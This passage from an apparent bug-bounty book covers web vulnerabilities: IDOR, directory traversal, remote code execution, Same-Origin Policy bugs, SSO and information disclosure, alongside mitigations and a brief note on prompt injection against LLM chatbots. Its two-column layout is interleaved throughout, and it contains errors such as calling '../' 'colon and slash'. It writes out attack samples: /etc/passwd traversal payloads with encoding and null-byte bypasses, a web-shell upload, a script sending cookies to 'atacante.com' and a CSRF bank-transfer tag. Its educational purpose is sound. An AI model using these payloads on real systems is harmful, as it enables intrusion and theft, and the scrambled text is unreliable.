In the digital world, Broken Access Controls are the equivalent number to view another user's profile.
of leaving the bank door wide open.
2. Authentication and Authorization Failures: An atta-
Access controls are the security measures that determine cker can bypass authentication or authorization mechanisms to
who can access what resources on a system. When these controls gain access to restricted areas of a system. This can occur due to
fail, attackers can exploit these vulnerabilities to access sensitive weak passwords, unsecured sessions or failures in authorization
information, modify data or even take control of entire systems. logic.

While I love the challenge of finding vulnerabilities of all 3. Incorrect Security Configuration: Access permissions
kinds, I have to admit that broken access controls have a special may be misconfigured, allowing unauthorized users to access
place in my heart. In fact, I consider them my personal gold mine. sensitive files or directories.

In my nearly ten-year career, these little glitches in system Example:

security have brought me more joy (and profit) than any other
type of bug. Why? Because they're like finding an open back 4. A configuration file with read permissions for all
door at Fort Knox. Once you find it, it's like being given the keys users could reveal confidential information, such as database
to the kingdom. You can access confidential information, mani- passwords.
pulate data at will, and even take control of entire systems. It's
a hacker's dream, isn't it? 5. Lack of Role Verification: A system may not properly
verify user roles, allowing a user with a lower role to perform
Why are access controls important? actions that should only be allowed for higher roles.

Access controls are critical to protect the integrity, confi- Mitigating Access Control Vulnerabilities
dentiality and availability of data and systems. Without them,
anyone could: To protect against vulnerabilities in access controls, it is
crucial to implement the following best practices:
- Access confidential information: Such as financial data,
medical records or trade secrets. - Principle of Least Privilege: Grant users only the permis-
- Modify or delete data: Wreaking havoc on critical systems sions necessary to perform their tasks.
or stealing valuable information. - Strong Authentication and Authorization: Implement
- Perform unauthorized actions: Such as transferring money, strong authentication and authorization mechanisms, such as
changing passwords or deleting user accounts. strong passwords, two-factor authentication and role-based
access controls.
Common Access Control Vulnerabilities - Input Validation: Always validates and sanitizes user input
to prevent IDOR attacks.
1. Direct Reference to Insecure Objects (IDOR): An atta- - Code Review and Security Testing: Performs comprehen-
cker manipulates the parameters of a request to access objects sive code reviews and security testing to identify and correct

104 MILLIONAIRE RECORDS

vulnerabilities.
- Monitoring and Logging: Monitors access logs to detect
suspicious activity and respond quickly to potential security
incidents.

Broken access controls are one of the most common and

dangerous vulnerabilities in web applications and systems.
Protecting access controls is essential to ensuring the security
of your data and systems. By implementing security best practi-
ces, you can significantly reduce the risk of attacks and protect
your organization from financial loss and reputational damage.

web vulnerabilities 105

 sed without authorization.
Advanced Search - Example: Try accessing URLs such as /user/1, /user/2, /
user/3, etc.
Access control is a fundamental component of the security
of any web application. When this control fails, attackers 4. Response Analysis: Watch server responses for sensitive
can gain unauthorized access to restricted functions, data information that may reveal details about resources or users
or resources. This chapter delves into techniques and stra that should not be accessed.
tegies for finding broken access control vulnerabilities, also - Example: Look for usernames, email addresses or finan
known as "IDOR" (Insecure Direct Object Reference) or cial data in the responses.
"BAC" (Broken Access Control).
5. Automated Tools: Use web vulnerability scanning tools
What is Broken Access Control? that
can help identify broken access control issues.
Broken access control occurs when an application fails to - Example: OWASP ZAP, Burp Suite.
properly verify whether a user has permission to access a
specific resource. This can happen due to: Examples of Broken Access Control

- Direct object references: The application uses predictable - Access to other users' data: An attacker can change the
identifiers (such as ID numbers) to access resources, allowing user ID in a URL to view another user's requests.
attackers to manipulate them to access data that does not - Access to administrative functions: A normal user can
belong to them. access administrative functions by changing a parameter
- Lack of authorization verification: The application does in a request.
not verify whether the user has the necessary permissions - Access to confidential files: An attacker can download
before granting access to a resource. confidential invoices or reports by manipulating the para
- Incorrect configuration: Access permissions are miscon meters of a URL.
figured, giving users more privileges than they should have.
Broken Access Control Prevention
Techniques for Finding Broken Access Control
- Strict authorization verification: Always verify that the
1. Parameter Analysis: Examine HTTP request parame user has the necessary permissions before allowing access
ters for object identifiers (such as user ID, product ID, etc.). to a resource.
Attempt to manipulate these parameters to see if resources - Avoid direct object references: Use random identifiers
that should not be available can be accessed. or session tokens instead of predictable identifiers.
- Example: Changing the user ID in a URL to try to view - Input validation: Validate all user input to prevent para
another user's profile. meter tampering.
- Principle of least privilege: Grant users only the permis
2. Test Roles and Privileges: Create user accounts with diffe sions necessary to perform their tasks.
rent roles and privileges to see if you can access functions
or data restricted to higher roles.
- Example: Trying to access the administration section with Bypass protection
a normal user account.
Access control is a fundamental component of web appli
3. Force Enumeration: Trying to access resources with cation security. However, when these controls are flawed,
sequen attackers can find ways to bypass them and gain access to
tial identifiers to see if they exist and if they can be acces resources, functions or data to which they should not

106 MILLIONAIRE RECORDS

have access. This chapter explores the techniques and stra into an input field to bypass authentication and gain access
tegies that attackers use to overcome weak access con to the database.
trol protections. - Request Forgery (CSRF): An attacker sends a malicious
link to an authenticated user who, upon clicking on it, per
1. Identifying Access Controls forms an undesired action, such as changing their email
address.
Before attempting to circumvent access controls, it is cru - Privilege Escalation Attacks: An attacker exploits a vulne
cial to identify how they are implemented in the web appli rability in a forum to become a moderator and delete other
cation. Common mechanisms include: users' posts.

- Authentication: Verification of user identity (e.g., through

login). Escaling the attack
- Authorization: Determining user permissions and privile
ges (e.g., user roles). Access control is a cornerstone of web application security.
- Access Control Lists (ACLs): Rules that define which users When this mechanism fails, attackers can exploit these
or groups can access which resources. vulnerabilities to gain unauthorized access to restricted
- Input Validation: Verification that the data provided by functions, data or resources. This chapter delves into how
the user is valid and secure. attackers can escalate their privileges and cause significant
impact by exploiting flawed access controls.
2. Evasion Techniques
1. Identification of Faulty Access Controls
Once access controls have been identified, attackers can
employ various techniques to circumvent them: 1. Objective: Find weaknesses in an application's access con
trol implementation.
- Parameter Manipulation: Modifying the parameters of 2. Techniques:
a request (e.g., in the URL or in the body of a POST request) - Manual scanning: Examine the application's source code,
to access restricted resources. configuration, and behavior to identify inconsistencies or
- Brute Force Attacks: Testing different combinations of cre lack of permissions checking.
dentials or parameter values to find those that grant access. - Automated scanning: Use automated scanning tools.
- Command Injection: Attempting to inject malicious Security analysis to detect common patterns of faulty access
commands into the application to bypass access restrictions. control.
- Request Forgery (CSRF): Tricking an authenticated user - Penetration testing: Attempting to access restricted func
into performing unwanted actions on your behalf. tions without proper authorization to verify if controls are
- Privilege Escalation Attacks: Exploiting vulnerabilities to functioning properly.
gain higher privileges and access restricted resources.
Examples:
3. Examples of Evasion - IDOR (Insecure Direct Object Reference): Manipulating
URL parameters or hidden fields to access other users'
- Parameter Manipulation: An attacker modifies the "role" resources.
parameter in a request to change his role from "user" to - Lack of role verification: Accessing administrative func
"administrator" and gain access to administrative functions. tions without having the role of administrator.
- Brute Force Attacks: An attacker uses a script to try thou - Object enumeration: Discovering hidden or not directly
sands of passwords to find the correct one and gain access referenced resources.
to a protected account.
- Command Injection: An attacker injects an SQL command

web vulnerabilities 107

 - Custom Scripts: Develop scripts to automate parameter
Automate the attack manipulation and role verification.

Automating attacks against this type of vulnerability can - Example: Use Param Miner to extract all parameters from
reveal systematic weaknesses and escalate the identifica- a web application and then use a custom script to modify
tion of vulnerable entry points. This chapter will explore parameter values and verify if restricted resources can be
how to automate faulty access control attacks, from recon- accessed.
naissance to exploitation.
Brute Force and Enumeration Attacks
Automated Reconnaissance
1. Objective: To test different parameter values or identi-
1. Objective: Identify functions and resources potentially fiers to discover hidden resources or access confidential
vulnerable to access control problems. information.
2. Tools: 2. Tools:

- Web crawlers (Crawlers): collect URLs and parameters of - Burp Suite Intruder: Automates the injection of payloads
a web application, mapping its structure. Examples: Burp into parameters to perform brute force and enumeration
Suite Spider, ZAP Spider. attacks.

- Vulnerability scanners: Search for known patterns of - Wfuzz: Fuzzing URL and form parameters to discover
faulty access control, such as IDOR (Insecure Direct Object hidden resources.
Reference) or lack of role verification. Examples: OWASP
ZAP, Burp Suite. - Custom Scripts: Develop scripts to automate enumera-
tion of identifiers or parameter values.
- Traffic analysis: Inspect HTTP traffic to identify requests
to protected resources and analyze server responses. - Example: Use Burp Suite Intruder to perform a brute force
Examples: Burp Suite Proxy, Wireshark. attack on a user ID parameter to attempt to access other
users' profiles.
- Example: Use a web crawler to discover all URLs of a web
application and then use a vulnerability scanner to scan Automated Exploitation
each page for faulty access control patterns.
1. Goal: Exploit identified flawed access control vulnerabili-
Automated Parameter and Role Analysis ties to access restricted resources, modify data or perform
unauthorized actions.
1. Objective: Identify parameters that can be manipulated 2. Tools:
to access unauthorized resources and verify the implemen-
tation of roles and permissions. - Exploitation frameworks: automate tasks such as para-
2. Tools: meter modification, privilege escalation and execution of
malicious actions. Examples: Metasploit, Burp Suite.
- Param Miner: Extracts parameters from URLs and forms
for further analysis. - Custom scripts: Develop scripts to automate exploitation
in specific scenarios.
- Autorize: Tool to test authorization logic and verify if
access controls are implemented correctly. - Example: Use a custom script to modify an order ID in an
e-commerce application and change the shipping address

108 MILLIONAIRE RECORDS

to an address controlled by the attacker.

Automated Monitoring and Alerting

1. Purpose: Receive real-time notifications when a flawed

access control vulnerability is discovered or an exploit
attempt is detected.
2. Tools:

- Intrusion Detection Systems (IDS): monitor network tra-

ffic for attack patterns related to faulty access control.
Examples: Snort, Suricata.

- WAF (Web Application Firewall): Block suspicious requests

that may indicate an exploit attempt.

- Example: Configure a WAF to block requests that attempt

to access protected resources without proper authorization.

Ethical and Legal Considerations

Automating faulty access control attacks must be done in a

responsible and ethical manner. It is critical to obtain pro-
per permission before testing on third-party systems and
to avoid causing damage or disruption.

web vulnerabilities 109

2 . 1 3 - D I R E C T O R Y T R A- etc/passwd

VE R S AL S # 2. 1 3 If the application does not validate the input, it could end

up displaying the contents of the /etc/passwd file, which
contains sensitive information about system users.

Imagine you are exploring a building and find a secret door Examples of Directory Traversal Payloads
that leads to restricted areas. In the digital world, Directory
Traversal (or "Path Traversal") is the equivalent of that secret Attackers use a variety of payloads to exploit Directory
door, allowing attackers to access files and directories out- Traversal vulnerabilities. Some common examples include:
side the web root folder.
- ../ (colon and slash): Navigates one level up in the direc-
In essence, Directory Traversal is a vulnerability that arises tory tree.
when a web application fails to properly validate user input, - ....// (four dots and two slashes): Attempts to bypass filters
allowing it to manipulate the path to a file or directory. This looking for "../" sequences.
can result in reading, and in some cases even modifying or - ..%2f (colon, percent 2f): Encodes the slash in URL to
deleting, sensitive files on the server. avoid detection.
- ..%c0%af (colon, percentage c0, percentage af): Encodes
Why is Directory Traversal Dangerous? the slash using a Unicode byte sequence.

Directory Traversal is a serious threat to the security of any Mitigating Directory Traversal
web application. An attacker exploiting this vulnerability can:
To protect against Directory Traversal, it is crucial to imple-
- Steal sensitive information: Access configuration files, ment the following security measures:
passwords, customer data, etc.
- Execute malicious code: Load and execute scripts on the - Input Validation: Never rely on user input. Always validate
server, potentially taking control of the system. and sanitize any data that is used to construct file paths.
- De-configure the website: Modify or delete files, causing - Whitelisting: Instead of trying to block all malicious input,
damage to the company's reputation. create a whitelist of allowed files or directories.
- Query Parameterization: Use parameterized queries to
How Directory Traversal Works prevent attackers from injecting malicious code into SQL
queries.
The root of the problem lies in the way web applications - Software Updating: Keep your software updated to fix
handle file paths. If an application does not properly vali- known vulnerabilities.
date and sanitize user input, an attacker can insert spe- - Security Testing: Perform periodic penetration tests to
cial sequences, such as "../" (colon and slash), to navigate identify and fix vulnerabilities before attackers find them.
through the file system.
Directory Traversal is a common but dangerous vulnerabi-
For example, if a web application uses the following URL lity that can have serious consequences for the security of
to display an image: your web application. By understanding how it works and
how to mitigate it, you can protect your data and systems
https://sitio.com/mostrar_imagen.php?archivo=imagen.jpg from attackers.

An attacker could attempt to modify the URL as follows: Remember, security is an ongoing process. You should
https://sitio.com/mostrar_imagen.php?archivo=../../../../ always be on the lookout for new threats and update your

110 MILLIONAIRE RECORDS

defenses accordingly. Exploiting Vulnerabilities

File reading:
Advanced search - Attempting to access known files (e.g., /etc/passwd, con-
fig.php).
The "Directory Traversal" vulnerability (also known as "Path - Using brute force techniques to discover hidden files.
Traversal") allows an attacker to access files and directories
outside of the root web directory. This can lead to exposure Code execution:
of sensitive information, execution of malicious code and - If the server allows file uploads, attempt to upload a mali-
other security risks. This chapter explores how to identify cious file (e.g., a PHP script) and then access it through
and exploit these vulnerabilities, as well as best practices Directory Traversal.
to prevent them.
Prevention
Understanding Directory Traversal
Input validation:
1. Concept: An attacker manipulates the path of a requested - Strictly filter and sanitize all user input used to construct
file to access files outside the root web directory. file paths.
- Validate that file paths are within the root web directory.
2. Examples:
- http://example.com/../../etc/passwd Server configuration:
- http://example.com/images/../admin/config.php - Disable access to unnecessary directories.
Restrict file and directory permissions.
3. Impact: - Security patches:
- Reading of confidential files (passwords, API keys, etc.). - Keep software up to date to fix known vulnerabilities.
- Execution of malicious code (if the server allows file
uploads) Examples of Attacks and Payloads
- Access to restricted directories
- Reading files:
Identifying Vulnerabilities 1. http://example.com/download.php?file=../../../etc/passwd
2. http://example.com/view.php?page=../../../../var/www/
1. Manual analysis: html/index.php
- Review source code for functions that handle file paths - Code execution (if file uploading is allowed):
(e.g., include, require, fopen). 1. Uploading a shell.php file with malicious content.
- Testing URL parameters and form data with traversal 2. Access it through: http://example.com/uploads/shell.php
sequences (e.g., ../, ..../).
Useful Tools
2. Automated tools:
- Vulnerability scanners: look for known Directory Traversal - DirBuster: Brute force tool to discover hidden directo-
patterns. Examples: Nikto, OWASP ZAP. ries and files.
- Fuzzer: They send malicious entries to parameters to test - w3af: Web penetration testing framework with a module
if they are vulnerable. Examples: Wfuzz, ffuf. to detect Directory Traversal.

web vulnerabilities 111

 manipulate the resulting path.

Strengthening Defenses
Bypass protection
Strict Validation of Inputs:
Developers implement various protections to mitigate this 1. Validate all user input and reject any suspicious sequences.
risk, but clever attackers are always looking for ways to 2. Use whitelists to allow only specific paths and characters.
bypass them. This chapter explores common evasion techni-
ques and how defenders can strengthen their systems. Input Sanitization:
1. Remove or replace special characters that can be used
Common Evasion Techniques for directory hopping.

Coding Sequence "...": Use of Canonical Paths:

Purpose: To hide the ".." sequence that indicates directory 1. Convert all paths to their canonical form before
hopping. processing.
Methods: 2. This eliminates ambiguity and makes path manipulation
- URL encoding: %2e%2e/ more difficult.
- Double URL encoding: %252e%252e/
- Unicode encoding: \u002e%u002e/ Secure Server Configuration:
1. Disable symbolic link tracing if it is not necessary.
Path Manipulation: 2. Restrict access to sensitive directories with appropriate
Purpose: To confuse the security filter with alternative file permissions.
paths 2.
Methods: Constant Updating and Patching:
- Relative paths: file/../../etc/passwd - Keep server software and libraries updated to correct
- Absolute paths: /var/www/html/../../../etc/passwd known vulnerabilities.
- Paths with special characters: ....//....//etc/passwd
Example Attack and Mitigation
Null Termination Attacks:
Purpose: Bypass filters that look for the sequence "..." at - Attack: An attacker attempts to access the /etc/passwd file
the end of the path. using the following URL: http://ejemplo.com/images/../../../
Method: Add a null character (%00) at the end of the path: etc/passwd
../.../etc/passwd%00
- Mitigation: The server implements strict input valida-
tion and rejects the request due to the presence of the
UTF-8 Based Directory Hopping Attacks: ../ sequence.
Purpose: To take advantage of alternative special character
encodings in UTF-8 2. Conclusion
Method: Use encodings such as ..%c0%af or ..%e0%40%af
instead of "...". Evasion of directory-hopping protections is a constant
challenge in web security. By understanding evasion techni-
Attacks on Applications that Normalize Paths: ques and strengthening defenses, developers can protect
Aim: Exploit applications that simplify or normalize paths their applications and data more effectively.
before validating them 2.
Method: Use sequences such as // or .. repeated to

112 MILLIONAIRE RECORDS

web vulnerabilities 113
2 . 1 4 - R E M OTE C O DE EX- sophisticated cyber attacks targeting important infras-
tructure and organizations.

ECUT I O N( R C E ) # 2. 1 4
What is RCE, or remote code execution?

A cybersecurity flaw known as remote code execution (RCE)

gives an attacker the ability to execute any code over a
network on a target device or server. RCE is a serious co
ncern because, unlike other cyber threats, it does not require
prior access to the target system.

It is considered a particular type of arbitrary code exec The creation of RCE dates back to the early years of
ution (ACE), which refers to the ability of an attacker to ex networked computing, when software flaws served as entry
ecute any command on a target system or within a target points for illegal remote system interactions.
process. RCE is distinguished by allowing it to be executed
remotely, giving attackers complete control and access to RCE attacks became increasingly common as digital infras
a compromised system from any location. tructure became more complex and connected. As a result,
hackers and state-sponsored actors began to target these
Updating software is essential as many attacks exploit vu vulnerabilities in order to use them for a variety of nefa
lnerabilities that have been previously patched. rious purposes.

The technological mechanism of RCE involves exploiting It is impossible to overstate the importance of CER in today's
weaknesses in server-side programs or applications. These digital age. The increasing reliance on digital platforms and
vulnerabilities can be due to many flaws, such as incorrect services has increased the potential impact of RCE atta
input validation, unsecured deserialization or buffer cks, creating risks to the operational continuity of key infras
overruns. tructures and services, as well as data security.

The vulnerable application can be tricked by attackers to Attackers can take control of systems, steal sensitive infor
execute malicious code as their own by sending specially mation, use ransomware or even disrupt services if they
crafted requests or data to it. Attackers can gain unauth have the ability to execute arbitrary code remotely.
orized access to system resources, data and capabilities These actions can have a significant negative impact on an
through this exploitation procedure, which goes beyond organization's finances and reputation.
security protections.
Current statistics and trends show how things are beco
RCE attacks have the potential to cause malware prolifera ming increasingly dangerous.
tion, data breaches and unauthorized system control.
Well-known vulnerabilities affecting millions of devices and
The development and current importance of RCE systems worldwide, such as the Log4Shell vulnerability
(CVE-2021-44228) in the Apache Log4j logging library,
Over time, remote code execution (RCE) attacks have chan have demonstrated the wide potential for exploitation.
ged from being simple opportunities for hackers to
exploit weaknesses in systems and systems to being Due to the sheer ease of exploitation of the vulnerability

114 MILLIONAIRE RECORDS

and the variety of systems it affects, the industry as a whole malicious code on the machine. The attacker can take con
expressed grave concern and quickly called for mitigation. trol of the system with this code, sometimes referred to as
The act of exploiting these weaknesses demonstrates the the payload, and perform malicious operations such as data
experience and tenacity of attackers in identifying and theft and system disruption.
manipulating vulnerabilities in digital systems for malicious
purposes. RCE attacks can exploit a variety of flaws, such as buf
fer overruns, which occur when an application writes more
In addition, the COVID-19 pandemic has changed the cha data to a buffer than it can handle, and injection vulnerabi
racter of cyber attacks, with a discernible shift away from lities, which occur when a program executes unauthori
the use of more conventional techniques such as Trojans or zed commands because user input was not properly sani
backdoors and toward the exploitation of vulnerabilities. tized. Attackers can gain unauthorized access to sys
tems and execute arbitrary code because of these
According to Imperva data, cross-path attacks make up vulnerabilities.
28% of recent intrusions, with RCE attacks in second place.
This suggests that hackers have strategically shifted their Several tactics are used to prevent RCE attacks: frequent
focus to target the most effective ways to infiltrate systems. vulnerability scanning to find and fix known vulnerabilities;
strong input validation to stop injection vulnerabilities;
RCE is now a major cybersecurity risk due to the complexity and network monitoring to detect and stop exploitation
and interconnectedness of the modern digital ecosystem. To attempts.
defend against the constantly evolving threat posed by
RCE attacks, both individuals and organizations must take The effects of RCE attacks
comprehensive security measures and maintain a state of
alertness. RCE attacks can have catastrophic effects on both indivi
duals and enterprises, resulting in the distribution of ran
How do attacks use remote code execution functionality? somware, unauthorized encryption extraction, data brea
ches, unauthorized access, and denial of service (DoS). These
Attacks using remote code execution (RCE) often involve attacks seriously jeopardize data security and privacy, while
multiple steps and have the potential to cause serious data causing damage to finances and reputation.
breaches, compromise systems and other malicious acts.
In order to reduce the likelihood of RCE attacks, com
Finding vulnerabilities: The attacker starts by locating panies should implement a comprehensive strategy that
software flaws in the victim's operating system, web server encompasses:
or application. These vulnerabilities could be zero-day flaws
that were previously unknown to the general public or 1. Vulnerability remediation and software upgrades using
known issues that have not been addressed. secure encryption techniques; 2.
2. Applying the principle of least privilege
Create and distribute the exploit: An attacker crea 3. Installation of web application firewalls and intrusion
tes an exploit, or code, to exploit a vulnerability once they detection/prevention (IDP) systems (WAFs).
have located it. The target system is then exposed to this 4. Execution of code audits and security testing.
vulnerability using a variety of techniques, including direct
attacks on vulnerable services, social engineering strategies Numerous notable RCE vulnerabilities have been identi
and malicious emails. fied in recent years, including CVE-2020-17051 affec
ting the Microsoft Windows communication protocol,
Malicious code execution: The exploit opens a vulnerabi CVE2020-1844 in Apple operating system components,
lity, giving the attacker the ability to inject and execute CVe-2021-44228 (Log4Shell) in Apache Log4j, and

web vulnerabilities 115

 CVE-2019-8942 in WordPress. In an effort to strengthen the security and reliability of AI
systems, ethical frameworks and standards are being imple
These weaknesses demonstrate the crucial importance mented. The development of ethical standards in AI, such
of caution and the implementation of preventative security as accountability, fairness, transparency, and non-mi
measures to defend against CER attacks. sappropriation, is essential to creating reliable and secure
AI applications
Real-world consequences and dangers
In an effort to reduce the dangers associated with technolo
The practical consequences and dangers associated with gies such as LLMs, these guidelines direct the development
remote code execution (RCE) on AI systems, especially and implementation of AI systems. Furthermore, investiga
when it comes to LLMs, are manifold and range from sprea ting these ethical aspects of AI highlights the crucial impor
ding malware to data theft and server takeovers. tance of striking a balance between algorithmic accuracy
and fairness, privacy, and accountability to ensure that AI
An AI-powered customer support chatbot that has been technologies are applied to uphold human rights and
spoofed by a prompt containing malicious code is one pos promote social good.
sible scenario. There could be serious security breaches
if this code allows unauthorized access to the chatbot's Ensuring the resilience and security of AI tools and APIs
server. against potential RCE attacks is crucial during the crea
tion and implementation of these systems. The commu
nity must be aware of vulnerabilities in AI systems and
constantly evaluate and strengthen security measu
res as AI advances.....

Important lessons learned

Cybercriminals continue to use remote code execution

(RCE) attacks as a dangerous weapon. It is essential to
have a deep awareness of the risk environment to be secure.
The following are the key things to remember:

- RCE flaws are a serious risk as they provide hackers with

In this particular case, fast injection attacks represent a sig the ability to remotely execute malicious code on your
nificant vulnerability. computers.

By inserting malicious hints or directives into LLM inputs, - Attacks can target both AI models and conventional sys
adversaries can manipulate these models to perform illicit tems, so new security measures with an AI-specific focus
actions or disclose sensitive information. These types of are needed.
attacks take advantage of the complexity and adaptability
of LLMs, which are made to handle huge volumes of data and - Mitigation that is proactive is essential: This covers multi
provide outputs in response to user inputs. Inadvertent -layered security, robust validation of inputs and routine
and potentially dangerous effects, such as data breaches, remediation.
illegal system access, or the spread of malware through
AI-driven platforms, could result from manipulation of these - AI is both a target and a protection mechanism. Attempt
inputs. to protect AI implementation tools, models and procedures.

116 MILLIONAIRE RECORDS

- It is imperative to act: Put into practice what you have
learned by working with AI specialists specializing in security In the context of a Bug Bounty program, responsible iden
and implementing suggested security measures. tification and disclosure of vulnerabilities that enable this
type of attack is of utmost importance. By reporting these
The best protection against CER threats is constant vigi vulnerabilities, security researchers contribute to stren
lance and proactive security measures. A stronger and more gthening system security and protecting users from poten
resilient cybersecurity posture can be achieved by recog tial malicious attacks.
nizing the severity of the dangers and taking appropriate
action. Prevention and Mitigation

Prevention and mitigation of remote code execution bypass

attacks requires a multifaceted approach. Some of the key
Bypass protection measures include:

- Secure Development: Implement secure development

RCE stands as one of the most critical and sophisticated practices to minimize the introduction of vulnerabilities
threats. This type of attack allows a cybercriminal to bypass into software.
a system's security measures and execute malicious code
remotely, thereby gaining unauthorized control over the - Software Updates: Keep software up to date with the
target system. latest security patches to correct known vulnerabilities.

Understanding the Anatomy of the Attack - Input Validation: Implement input validation mechanisms
to prevent malicious code injection.
To understand the magnitude of this threat, it is crucial to
unravel the anatomy of a remote code execution bypass - Access Control: Implement strict access controls to limit
attack. In essence, this attack is based on exploiting vulne user privileges and prevent unauthorized access.
rabilities in software or system configurations. These vulne - Security Monitoring: Implement security monitoring sys
rabilities can range from programming errors to incorrect tems to detect and respond to possible attacks.
access permission settings.

Once a cybercriminal identifies a vulnerability that can

be exploited, he proceeds to design an attack that allows
him to bypass existing security measures. This may involve
manipulating input parameters, injecting malicious code,
exploiting buffer overflows, or using social engineering
techniques to trick users into gaining unauthorized access.

Devastating Consequences

The consequences of a remote code execution bypass

attack can be devastating. A cybercriminal who succeeds in
executing malicious code on a system can gain access to
sensitive data, install malware, alter the operation of the
system, and even take complete control of the system.

web vulnerabilities 117

2 . 1 5 - SA M E - O R I G I N
PO LI CY B U G S # 2. 1 5 Example:
JavaScript

<script>
The Same-Origin Policy (SOP) is a crucial security mecha- var cookies = document.cookie;
nism in web browsers. It acts as a security guard, preventing // Send cookies to a server controlled by the attacker.
scripts from one source (a combination of protocol, domain and new Image().src = 'https://atacante.com/robar?cookies='
port) from accessing data from another source. Imagine that + cookies;
every website is a house; the SOP ensures that your neighbors </script>
can't break in and steal your stuff.
2. Cross-Site Request Forgery (CSRF): An attacker tricks
However, like any security system, SOP is not foolproof. a user's browser into sending a malicious request to a web-
Vulnerabilities in the SOP can allow malicious attackers to breach site where the user is logged in. This can result in unauthorized
these barriers, accessing sensitive information or performing actions, such as changing the email address or making a purchase.
unauthorized actions on the user's behalf.
Example:
Why is Same-Origin Policy important? HTML

The SOP is critical to protecting users' privacy and security <img src="https://banco.com/transferir?destinatario=ata-
on the web. Without it, a malicious website could: cante&cantidad=1000" />

- Steal your cookies: Cookies store session information, JSONP (JSON with Padding): JSONP allows a website to
such as login credentials. An attacker could use them to imper- request data from another source. If not implemented correctly,
sonate you. an attacker can use JSONP to gain access to sensitive data.

- Read your private data: They could access personal infor- Example:
mation on other websites, such as your browsing history or pri- JavaScript
vate messages.
function handleResponse(data) {
- Perform actions on your behalf: An attacker could send // Attacker can access the data here
messages, make purchases or change your settings without console.log(data);
your consent. }

Common SOP Vulnerabilities var script = document.createElement('script');

script.src = ' h t t p s : // o t r o s i t i o . c o m /
Despite its importance, SOP can be vulnerable to attacks. datos?callback=handleResponse';
Some of the most common include: document.head.appendChild(script);

1. Cross-site scripting (XSS): an attacker injects mali-

cious code into a legitimate website. When a user visits the site,
the code executes in their browser, potentially stealing their data
or performing unauthorized actions.

118 MILLIONAIRE RECORDS

 Mitigating SOP Vulnerabilities

To protect against SOP vulnerabilities, it is crucial to imple-

ment the following security measures:

- Input validation: Always validate and sanitize user-ente-

red data to prevent XSS attacks.

- CSRF tokens: Use CSRF tokens to protect against CSRF

attacks.

- Content Security Policy (CSP): Implement CSP to con-

trol which scripts can be loaded and executed on your website.

- Secure JSONP configuration: If you use JSONP, make sure

it is configured securely to prevent data disclosure.

Same-Origin Policy is an essential web security tool, but it

is not perfect. Understanding its vulnerabilities and how to miti-
gate them is crucial to protecting your data and privacy online.

web vulnerabilities 119

2 . 1 6 - S I NG L E S I G N- O N them to gain access to user accounts.

( S S O ) # 2. 16 4. Session Management: If SSO sessions are not properly

managed, an attacker could hijack an active session and gain
access to user accounts without needing to know the user's
credentials.
Imagine having a single key that opens all the doors to your
home, your car, your office and even your safe. Sounds conve- Examples of SSO Attacks
nient, doesn't it? But what if that key were to get lost or fall into
the wrong hands? In the digital world, Single Sign-On (SSO) is - Phishing Attack: An attacker sends a spoofed email that
like that master key: it allows you to access multiple applications appears to come from a legitimate service (e.g., Google or
and services with a single set of credentials. However, this con- Microsoft). The email contains a link to a fake login page that
venience comes with security risks that should not be ignored. looks like the real page. When the user enters their SSO cre-
dentials on the fake page, the attacker captures them and uses
What is SSO and why is it popular? them to access their accounts.

SSO is an authentication mechanism that allows users to - Token Reinjection Attack: An attacker intercepts a valid
access multiple applications and websites with a single login. SSO session token and reinjects it into his own browser. This
Instead of having to remember different usernames and pas- allows him to impersonate the legitimate user and access your
swords for each service, users only need to remember one set accounts without needing to know your credentials.
of credentials to access all of them.
- Brute Force Attack against the IdP: An attacker uses a pro-
This convenience has made SSO very popular with both gram to try thousands of username and password combinations
users and enterprises. For users, it means fewer passwords to until he finds one that works. If the IdP does not have adequate
remember and a smoother user experience. For enterprises, SSO protection measures, such as locking accounts after several fai-
can reduce support costs and improve employee productivity. led attempts, the attacker could gain access to users' accounts.

The Security Risks of SSO Mitigating SSO Security Risks

Despite its advantages, SSO also presents significant To protect against SSO security risks, it is crucial to imple-
security risks: ment the following security measures:

1. Single Point of Failure: If a user's SSO credentials are - Two-Factor Authentication (2FA): Requires users to pro-
compromised, an attacker could gain access to all applications vide a second factor of authentication, such as a code sent to
and services linked to that account. This can have devastating their cell phone, in addition to their password.
consequences, especially if business-critical applications or appli-
cations containing sensitive data are involved. - Secure Session Management: Implements security mea-
sures to protect SSO sessions, such as short session timeouts
2. Phishing Attacks: Attackers can use phishing techniques and session token regeneration after each login.
to trick users into revealing their SSO credentials. Once they have
the credentials, they can access all linked accounts. - Monitoring and Anomaly Detection: Use monitoring tools
to detect suspicious activity, such as failed login attempts or
3. Vulnerabilities in the Identity Provider (IdP): The IdP is the access from unusual locations.
service that manages SSO credentials and verifies the identity
of users. If the IdP has vulnerabilities, an attacker could exploit - Security Patching: Keep IdP software and linked

120 MILLIONAIRE RECORDS

applications up to date with the latest security patches.

SSO offers great convenience, but it is important to be aware

of the security risks involved. By implementing the right measu-
res, you can minimize these risks and enjoy the benefits of SSO
without compromising the security of your data and systems.

web vulnerabilities 121

2 . 1 7 - I NFO R M ATI O N Example:

D I SCLOSU R E # 2. 1 7 ---------
Error connecting to database: Access denied for user
'root' on 'localhost' (using password: YES).
Imagine you are playing poker and you accidentally show ---------
your cards to the other players. In the digital world, Information
Disclosure is like showing your cards: it reveals sensitive data 2. Disclosure of Configuration Files: Configuration files
that should remain hidden, giving attackers an unfair advantage. often contain sensitive information, such as database passwords,
API keys, or service account credentials. If these files are not pro-
Information disclosure is a vulnerability that occurs when a perly protected, attackers can access them and use the informa-
web application inadvertently discloses sensitive data to unau- tion to compromise the application.
thorized users. This data can include technical information about
the application, configuration data, detailed error messages or 3. Disclosure of Debugging Information: Debugging tools
even user data. can reveal detailed information about the inner workings of an
application, such as variable values, stack traces, and event logs.
Why is Information Disclosure Dangerous? If these tools are not disabled in production, attackers can use
them to obtain valuable information.
Although often considered a low-risk vulnerability, infor-
mation disclosure can have serious consequences: 4. Metadata Disclosure: Metadata is data about data, such
as software version, operating system or HTTP headers. Attackers
- Reconnaissance: Attackers can use the disclosed informa- can use this information to identify known vulnerabilities in the
tion to learn more about the application and its vulnerabilities, software or to create targeted attacks.
facilitating future attacks.
How to Prevent Information Disclosure
- Privilege Escalation: Disclosed information can help atta-
ckers gain access to restricted areas of the application or ele- To protect your application from information disclosure,
vate their privileges. follow these best practices:

